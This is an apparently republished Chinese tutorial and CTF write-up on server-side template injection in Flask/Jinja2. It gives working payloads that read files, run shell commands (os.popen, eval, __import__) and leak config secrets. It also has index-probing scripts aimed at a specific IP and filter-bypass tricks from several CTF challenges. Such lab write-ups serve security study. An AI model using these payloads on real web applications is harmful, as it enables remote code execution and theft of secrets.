当前位置: 首页 > news >正文

竹子建站加盟咨询做化工资讯的网站

竹子建站加盟咨询,做化工资讯的网站,网站ip改变 备案,网络营销效果评估基础知识补充#xff1a; __class__ 返回类型所属的对象__mro__ 返回一个包含对象所继承的基类元组#xff0c;方法在解析时按照元组的顺序解析。__base__ 返回该对象所继承的基类// __base__和__mro__都是用来寻找基类的__subclasses__ 每个新类都保留了子类的引用#xff… 基础知识补充 __class__ 返回类型所属的对象__mro__ 返回一个包含对象所继承的基类元组方法在解析时按照元组的顺序解析。__base__ 返回该对象所继承的基类// __base__和__mro__都是用来寻找基类的__subclasses__ 每个新类都保留了子类的引用这个方法返回一个类中仍然可用的的引用的列表__init__ 类的初始化方法__globals__ 对包含函数全局变量的字典的引用__builtins__  导入内置函数例如eval()等 一般ssti都是通过 类-基类-危险函数的使用来实现注入的 [].__class__         获取[] 对应的类  [].__class__.__base__           获取[]对应的类的基类  [].__class__.base__.__subclasses__()     获取[]对应的类的基类的所有子类  [].__class__.base__.__subclasses__()[30](flag).read()  假设type file file方法是第30使用read()方法来读取flag文件  [].__class__.base__.__subclasses__()[50].__init__.__globals__[os].system(ls)  (假设os类是第50个初始化它并使用system函数来执行ls命令) SSTI读取文件 python2中可以使用file类来读取文件 {{[].__class__.__base__.__subclasses__()[40](flag).read()}} python3中没有file类了 可以使用class _frozen_importlib_external.FileLoader,class ‘click.utils.LazyFile’ class ‘codecs.IncrementalEncoder’来读取文件 python脚本import requests headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52} for i in range(500):url http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()[str(i)]}}res requests.get(urlurl, headersheaders)if click.utils.LazyFile in res.text:print(i)payload:{{[].__class__.__base__.__subclasses__()[257](flag).read()}} SSTI执行命令 可以用来执行命令的类有很多其基本原理就是遍历含有eval函数即os模块的子类利用这些子类中的eval函数即os模块执行命令。 寻找内建函数 eval 执行命令 查询有内置函数eval的类 import requests headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52} for i in range(500):url http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()[str(i)].__init__.__globals__[__builtins__]}}res requests.get(urlurl, headersheaders)if eval in res.text:print(i)payload:{{[].__class__.__base__.__subclasses__()[58].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls).read())}} 寻找 os 模块执行命令 Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的我们可以使用system()函数配合curl外带数据popen()函数执行命令有回显。所以比较常用的函数为popen()函数而当popen()函数被过滤掉时可以使用system()函数代替 寻找有os模块的类 import requests headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52} for i in range(500):url http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()[str(i)].__init__.__globals__}}res requests.get(urlurl, headersheaders)if os.py in res.text:print(i)payload:{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__[os].popen(ls).read()}} 寻找 importlib 类执行命令  Python 中存在 class _frozen_importlib.BuiltinImporter 类目的就是提供 Python 中 import 语句的实现以及 __import__ 函数。我么可以直接利用该类中的load_module将os模块导入从而使用 os 模块执行命令。 也可以搜索__import__函数来导入os模块 import requests headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52} for i in range(500):url http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()[str(i)].__init__.__globals__}}res requests.get(urlurl, headersheaders)if __import__ in res.text:print(i)payload:{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__[__builtins__][__import__](os).popen(ls).read()}} 寻找 linecache 函数执行命令 inecache 这个函数可用于读取任意一个文件的某一行而这个函数中也引入了 os 模块所以我们也可以利用这个 linecache 函数去执行命令。 import requests headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52} for i in range(500):url http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()[str(i)].__init__.__globals__}}res requests.get(urlurl, headersheaders)if linecache in res.text:print(i)payload{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__[linecache][os].popen(ls).read()}} config_app  其中包含应用程序的所有配置值.在大多数情况下这包括敏感值例如数据库连接字符串第三方服务的凭证SECRET_KEY等。 例如 url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等 如果configself不能使用要获取配置信息就必须从它的上部全局变量访问配置current_app等 {{url_for.__globals__[current_app].config.FLAG}} {{get_flashed_messages.__globals__[current_app].config.FLAG}} {{request.application.__self__._get_data_for_json.__globals__[json].JSONEncoder.default.__globals__[current_app].config[FLAG]}} CTF实例 shrinexctf url和路由 app.route()路由可以通过app.route()中的url来访问一个具体的python类或函数 例如 from flask import Flaskapp Flask(__name__) # 创建一个flask实例app.route(/) def index():return(这里是/页面)app.route(/flag) def flag():return(这里是falg页面)if __name__ __main__: # 如果是已主程序的方式启动不是以导入模块的方式则运行flask实例app.run() # app.run(debugTrue)即可开启debug模式这里写了两个页面url分别是/ 和 /falg当然也可以动态的传参以及对参数的过滤 # -*- coding: UTF-8 -*-from flask import Flaskapp Flask(__name__) # 创建一个flask实例app.route(/) def a():return 1app.route(/student/student_id/) def student(student_id):return 学生{}号的信息.format(student_id)app.route(/students/int:student_id/) def students(student_id):return 学生{}号的信息.format(student_id)if __name__ __main__: # 如果是已主程序的方式启动不是以导入模块的方式则运行flask实例app.run() # app.run(debugTrue)即可开启debug模式student 页面中可以随便传参 students页面则只能穿int型数据 源代码 import flask import osapp flask.Flask(__name__)app.config[FLAG] os.environ.pop(FLAG)app.route(/) def index():return open(__file__).read()app.route(/shrine/path:shrine) def shrine(shrine):def safe_jinja(s):s s.replace((, ).replace(), )blacklist [config, self]return .join([{{% set {}None%}}.format(c) for c in blacklist]) sreturn flask.render_template_string(safe_jinja(shrine))if __name__ __main__:app.run(debugTrue) app.config[FLAG] os.environ.pop(FLAG) 从环境变量中删除FALG变量并返回值给config s s.replace((, ).replace(), ) 将() 替换为空 return .join([{{% set {}None%}}.format(c) for c in blacklist]) s 将configself 替换为None 分析 如果没有过滤config 可以使用{{config.FLAG}} 如果没有过滤self 可以使用{{self.__dict__}},里面有所有字典的键与值 如果没有过滤() 可以使用subclasses() payload: url_for.__globals__[current_app].config.FLAG (为什么这里的config没有被过滤不清楚) Web_python_template_injection 存在ssti注入 写脚本查询包含有os模块的索引 import requests headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52} for i in range(500):url http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()[str(i)].__init__.__globals__}}res requests.get(urlurl, headersheaders)if os.py in res.text:print(i) 构造payload  {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__[os].popen(ls).read()}} 使用file类读取拿到flag {{[].__class__.__base__.__subclasses__()[40](fl4g).read()}} Confusion1 输入{{2*3}} 结果为6存在ssti漏洞 flag位置给出 发现关键词 class base read 被过滤 使用引号绕过 __class__  -  [__class__] 构造payload ()[__class__][__base__][__subclasses__]()[40](/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt)[read]() 拿到flag  使用request绕过 {{[request.args.a][request.args.b][2][request.args.c]()[40](/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt)[request.args.d]()}}?a__class__b__mro__c__subclasses__dread
http://www.dnsts.com.cn/news/206062.html

相关文章:

  • 深圳专业做网站公司wordpress怎么更改栏目权限
  • 中文网站建设模板下载建立公司网站的重点
  • 做个企业网网站怎么做扬州网站建设公司
  • 静态网站生成器怎样做泰塔科技网站建设
  • 手机网站建设服务商建设网站建设
  • 怎么做好网站开发、设计虚拟云手机 免费
  • 网站域名后缀有哪些天津网站建设制作价格
  • 网站icp备案证明乐清网站建设公司哪家好
  • 省建设厅网站6php网站数据迁移
  • 深圳企业网站建设设计制作方案最近发生的国际新闻
  • 怎样不让网站被收录网站开发的api
  • 北京网站设计公司哪家公司好甘露园网站建设
  • 假冒中国建设银行的网站揭阳设计公司
  • 网站运营与管理实验报告如何备份网站 整站
  • 政务公开和网站建设自查报告个人主页设计图
  • 北京市保障性住房建设投资中心官方网站10大物业管理系统
  • 网站长域名哈尔滨网站制作公司哪家好
  • 自己做流媒体网站难wordpress 免签约支付
  • 上海建站网站如何安装wordpress的插件安装
  • 温州15000 做网站的工作株洲品牌网站建设
  • 自己做的网站搜索引擎搜不到南京市高淳县建设厅网站
  • div布局在线音乐网站设计网站注册凡科
  • 电子商务网站的建设要求小程序开发平台官网
  • 腾讯云主机能给几个网站备案商城网站的基本功能
  • 比稿网站做网站费
  • 专门做杂志的网站有哪些网上有兼职做数据网站
  • 网站开发开票wordpress 对比 django
  • 建设网站的总结wordpress主机免费
  • 电商网站开发分析怎么注册公司营业执照
  • 那些网站主做玄幻小说logo网站设计图片